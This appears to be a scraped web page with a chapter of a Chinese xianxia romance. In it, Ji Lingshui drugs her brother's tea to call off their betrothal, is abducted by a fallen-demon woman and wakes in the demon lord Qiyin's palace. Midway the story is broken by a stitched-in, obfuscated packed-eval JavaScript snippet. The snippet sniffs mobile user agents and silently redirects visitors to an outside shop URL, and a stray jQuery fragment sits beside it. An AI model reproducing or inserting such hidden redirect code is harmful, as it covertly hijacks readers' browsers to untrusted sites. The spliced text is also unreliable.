事实证明姬灵水没有枉与姬烬水做这么多年的兄妹,足够了解他。
他向来将心思放在仙洲与霸主之争上,对于感情之事是十分地没有觉察。
对于姬灵水如此漏洞百出的说辞,他还是信了。
不对,是姬灵水觉得,他应该是信了。
蓬於仙洲习俗不许私自结契,姬烬水瞒着老主君要与姬灵水成亲本就是大逆不道,如此一来,他也只能由着姬灵水的劝说,取消了喜宴,将结契之事往后搁置。
桑桑战战兢兢进了殿门,发觉姬灵水坐在榻边,姬烬水正躺在她腿上,神情温顺,手环着姬灵水的腰腹,面颊紧紧贴着她肚子。
而姬灵水则是用手一下一下柔和地抚着他的发丝。
这副画面,如何看如何诡异。
姬灵水看她进来,抬手对她做了个噤声的手势,又招她过来,一齐把姬烬水从她腿上移下来。
等二人鬼鬼祟祟出了殿门,桑桑低声问:“您怎么哄烬水君吃下药的?”
那是阿绿从鬼市里花了大价钱买的安魂丸,据说药效很猛,普通人吃下能睡个十天十夜的。
姬灵水撇嘴:“能怎么哄呢,当然是兑进茶水里了。”
“他就没看出来什么?”桑桑好奇。毕竟那玩意儿一看就有问题,一颗有夜明珠那么大,还腾腾冒着青绿色的气儿。
那安魂丸是姬烬水回蓬於的前一刻阿绿才搞到手的,本来她们已决定就用冲撞小龙的理由去哄骗姬烬水,谁知如今有了个更好的东西。
也算做了两手准备。
一招不行就用另一招。
“他是觉得奇怪,可我说那是,那是……”姬灵水面色渐渐涨红。
“什么呀?”桑桑忍不住追问。
她在蓬於仙洲待了这么多年,就不知道姬烬水会为了什么心甘情愿去吃一个看起来就很不对劲的东西。
姬灵水闭了闭眼,凑到她耳侧低声:“我说那是避孕绝嗣的药。”
“什么?!”桑桑声音拔高。
迎面而来的几个弟子侧目,姬灵水忙对他们道:“这几天哥哥有事,宿在我殿里了,你们不要去打搅他。”
几人不疑有他,纷纷应下。
桑桑尚在震惊之中,半晌才跟上姬灵水的步子,继续问:“主君为什么要说是绝育的药啊?烬水君想绝育?”
这个消息对她来说还是太震撼了一些。
姬灵水面露赧然:“……其实,我两招都用了。我也没想到他会信的,但当时情况危急,若我不说点什么话制止他,他就要将玉佩摔了,那时来不及喂他吃药了。”
她指指自己的腹部,“不过这障眼法的确有用,肚里好似真的有东西在动。今日也是真的险些呕出来。”
桑桑顺势摸摸她的肚子,无奈道:“阿绿弄来的邪方子,还是都太邪了。”
行到蓬於仙洲外。
姬灵水翻身上了朵云。
“后来呢?”
“后来我看他又像信了又像没信,便想用这药试试他。左右他已下了令取消了明日的结契,试试也没什么坏处。”姬灵水懒懒躺下去,“我就说,日后他一定要把主君之位传给小龙,他答应了,可我又说不信,除非他喝了那茶水。”
桑桑蹲在她身边,眉毛拧成一团:“就只说了这个?”
“就只说了这个。”姬灵水点头。
“……”
好吧。桑桑觉得,她还是见识得太少了。早知道这么容易,她前几日也不必操心得日夜睡不着了。
“好啦,其实是你将人都想得太聪明,所谓大智若愚,说的就是你我这样的人,表面上乍一看很愚笨,其实却是大智慧呢。”姬灵水摸摸桑桑的头,“哥哥也好,神君也好,甚至屺阴,都没有像我所想的那般聪明,我随口编谎话唬人他们都信了。不然我此刻还会在这儿如此悠闲么。”
桑桑抿唇:“我们现在去找长微神君吗?其实……就这样一走了之也是好的。”
姬灵水释然道:“这几日我一直在思考。逃避是避那些说话的人的嘴,还是避自己做得不对的事。我自认不是正人君子,可若是因为自己做了不对的事说跑就跑了,确实应该遗臭万年。就像从前仙界众人都说我根骨奇烂,还敢称自己为仙人。那时我不觉得有什么,因我生来就如此,没有做错什么。可这一次,在他们眼中,我的确是与魔君狼狈为奸,他们怀疑我别有企图也是正常。”
“此番我主动去天界要他们审判我,就因我问心无愧。”
“对了,近日为何没听说过魔界的消息?”姬灵水问。
桑桑摇摇头:“我也不知道,本来天界应去剿灭魔界余党,怎会容新魔君现世这么久,可自从那日您破阵之后,不知为何此事就像搁置了,两边都没有动作。莫非……是要回到仙魔大战之前的六界了吗?”
那时的六界什么样她根本没见过。
只知道在仙界口中,魔君劣迹斑斑,扰了和平了数万年的六界安宁。
左右也不关她的事了,姬灵水叹了口气。原先最怕被屺阴报复,没想到最后要防的还是自己人。
她仰头面对苍穹,眼见着不远处的雾气渐有压过来的趋势,天色逐渐暗沉,姬灵水对桑桑说:“我先睡会儿,到了再叫我。”
姬灵水闭上眸,没听见桑桑应她,她又唤了桑桑两声,空气依旧静默。
她猛地坐起身,见云的那头立着一个背影佝偻的老妇人,系着又重又长的披风,浑浊的眼球透出湿腻腻的视线凝在姬灵水身上,似在打量她。
桑桑伏在老妇人脚边,嘴像被什么法术封住,正急迫地发出呜呜声。
姬灵水即刻施法去救桑桑,老妇人骤然出手,姬灵水堪堪与她过了五招,虽她术法不精,却还是一下参透她的手法,拧眉:“堕魔?”
神姑面色微变,复又故作镇定:“原来不傻。”
“此地乃天界所辖,你竟敢在此兴风作浪。”姬灵水一手握住后腰那块玉佩,还未动作,听老妇人道,
“我有什么不敢?”她偏头看姬灵水手中拿的东西,竟是笑出声,“你还认得黎长微?”
姬灵水给自己壮胆,高声道:“你既知道,还不放人?”
“既是如此,我更该带你走一趟。”神姑笑意古怪。
不多时,姬灵水只觉得眼前一黑,那老妇人已逼近了她,而她浑身绵软,没了意识。
*
姬灵水清醒过来时置身于一张硬邦邦的床榻。
硌得她后背疼。
她微微直起身子,左顾右盼,见此处阴冷异常,黑雾缭绕,当下明白了七八分。
这应该是无生湖底,
魔界最后的一块阵地。
只是不知为何湖底没有光亮,连灯烛都没有几盏,她并不擅长夜间视物,只好磨磨蹭蹭地伸手四处探。
直到肩膀骤然碰到一个硬硬的像骨头一样的东西,姬灵水浑身一颤,吓得往外挪了好几下。
这个床榻也太大了,大得她怎么退都找不到床沿。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693704|205251||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
她捂住心口深深呼吸,随后迫自己冷静下来仔细思索。
虽然像骨头,应该也不会是真的白骨吧……不然一撞应当就会散架。
难道是桑桑?她尝试着靠过去,轻轻唤桑桑。
“是你吗?桑桑,你别吓我。”
没有应答。
下一息,那处却传来细碎的动静,像是什么怪物在翻身。
姬灵水魂都要吓飞了,她抬起指尖,捏了一小簇蓝色的光焰。
再把光焰移到自己眼前,直到透过那光,看到一双熟悉又陌生的眼神。
她愣了愣,指尖蓦然被人用掌心包住,蓝光在那刹那被摁灭,而与此同时,数十只蜡烛燃起火光,整个殿内骤然大亮。
姬灵水被刺得闭了闭眼。
转眼听见屺阴阴沉的声调:“你为什么会在这里?”
姬灵水尝试着睁开眸子,只见屺阴斜倚在榻上,只穿着银色的里衣,那半张银面被挂在一边的床头,眸中的疑惑和不解不似作假。
“我……我也不知道,我一醒来就在这里了。”许久没见,姬灵水有些无所适从,现在应当叫他魔君了,他会像魔界那些人那般残暴么。
不过她现在跟堕魔也没什么两样,或许魔界更像她的家了呢。
她眼神落到他松垮的领口上,隐约还能瞧见里头他坚实的肌肉,还有旁边的肩膀……或许就是撞到那里了。
屺阴叫了她一声,她才回过神,把明晃晃的眼神收回来。
他一手拉过领口,将自己遮得严严实实,朝殿外喊人,说叫神姑过来。
姬灵水连忙问:“神姑……是带我来那个人吗?她要找我做什么?她是不是魔界的长老?神君说魔界长老很是责怪我,说我欺负了你,你好好跟她说,我到底欺负你了吗?”
“欺没欺负,”他从她身边过去,而后下塌,边穿外衣边道,“公主自己不清楚吗?”
“你误会我了……”
姬灵水正想着要编些什么话继续哄他。
只见屺阴坐于案前,一面把玩着案几上陈列的宝石珠玉,一面突兀说了句:“听说,你又要成亲了。”
姬灵水眼神被那些珠宝勾了去,走过去详看道:“早就听闻无生湖底藏珠纳玉,果然名不虚传。”这些东西比她那些珠宝成色还要好上几倍,她忍住上手摸的冲动,分神回他的话:“你刚刚说什么?”
没什么。
屺阴随手扔给她一个装满海珠项链的盒子,“贺礼。”
姬灵水往前一越,把盒子牢牢接在手里。
“你真好!”姬灵水这句话发自真心,她把沉甸甸的盒子捧在怀里,眼睛发亮,“我可以走了吗?”
“随你。”
屺阴背过身不再看她。
大半夜睡得好好的被人扰了清梦心情不好也是人之常情,更何况他还送了这么多东西,姬灵水只想谢谢他。
“对了!还有桑桑。”
“我不知道她在哪,找到了人会给你送回去。”
姬灵水感动非常,“等他们审我的时候,我一定多说你的好话。”
她走了几步,又回过身:“不过那也得你清白才好,你可千万别做什么坏事,不然我说好话也没人会听的。”
……其实不管怎样她说话也根本没人听。
她抱着盒子走到殿门口,被不知在此站了多久的神姑的眼神吓退了回去。
“谁准你走的。”
姬灵水小心翼翼地指着身后:“他准的。”